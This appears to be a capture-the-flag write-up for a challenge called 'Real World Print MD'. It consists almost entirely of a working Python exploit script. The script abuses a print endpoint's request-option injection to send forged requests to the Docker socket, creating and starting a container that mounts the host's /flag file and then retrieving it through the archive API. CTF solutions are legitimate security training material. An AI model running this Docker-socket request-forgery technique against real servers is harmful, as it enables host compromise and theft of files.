Real World Print MD Write Up Script

exploit.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# SakiiR @ Hexpresso
# cc XeR & BitK
# Let's go now (:
#
# --+ Python 2 +--

import random
import pwn
import requests
import urllib

urlencode = urllib.quote_plus

OUTFILE = "flag.txt"
MAX_ROWS = 100


def random_container_name(n=10, charset=("abcdefghijklmnopqrstUVWXYZ"
                                         "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                                         "0123456789")):
    return ''.join([
        charset[random.randint(0, len(charset) - 1)] for _ in range(n)
    ])


def main():

    container_name = random_container_name()
    pwn.log.info("Your container name is '{}'".format(container_name))

    # Pull alpine image :)
    # --------------------
    endpoint = urlencode("http://127.0.0.1/assets/create?fromImage=alpine:latest")
    url = ('http://54.183.55.10/print'
           '?url[method]=POST'
           '&url[url]={}'
           '&url[socketPath]=/var/run/docker.sock'
           '&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
    pwn.log.info("Pulling alpine:      '{}[...]'".format(url[:MAX_ROWS]))
    r = requests.get(url)
    pwn.log.info("Response: {}".format(r.status_code))

    # Creating container (image)
    # --------------------------
    endpoint = urlencode('http://127.0.0.1/containers/create?name={}'.format(container_name))
    url = ('http://54.183.55.10/print'
           '?url[method]=POST'
           '&url[url]={}'
           '&url[data][Volumes][flag][path]=/sakiir'
           '&url[data][Binds][]=/flag:/sakiir:ro'
           '&url[data][Entrypoint][]=/bin/sh'
           '&url[data][Image]=alpine:latest'
           '&url[socketPath]=/var/run/docker.sock'
           '&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
    pwn.log.info("Creating container:  '{}[...]'".format(url[:MAX_ROWS]))
    pwn.log.info("This will take some time then crash with a 503")
    pwn.log.info("The container will still be created (:")
    r = requests.get(url)
    pwn.log.info("Response: {}".format(r.status_code))

    # Starting container_name
    # -----------------------
    endpoint = urlencode('http://127.0.0.1/containers/{}/start'.format(container_name))
    url = ('http://54.183.55.10/print'
           '?url[method]=POST'
           '&url[url]={}'
           '&url[socketPath]=/var/run/docker.sock'
           '&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
    pwn.log.info("Starting container:  '{}[...]'".format(url[:MAX_ROWS]))
    r = requests.get(url)
    pwn.log.info("Response: {}".format(r.status_code))

    # Archive container (Archive the /sakiir directory and get it back :))
    # --------------------------------------------------------------------
    endpoint = urlencode("http://127.0.0.1/containers/{}/archive?path=/sakiir".format(container_name))
    url = ('http://54.183.55.10/print'
           '?url[method]=GET'
           '&url[url]={}'
           '&url[socketPath]=/var/run/docker.sock'
           '&url=https://hackmd.io/rHsmjW2HRGGMwf7mbnecXw/download').format(endpoint)
    pwn.log.info("Archiving container: '{}[...]'".format(url[:MAX_ROWS]))
    r = requests.get(url)
    pwn.log.info("Response: {}".format(r.status_code))
    with open(OUTFILE, 'w') as f:
        f.write(r.content)
        pwn.log.info("Flag written to file '{}'".format(OUTFILE))


if __name__ == '__main__':
    main()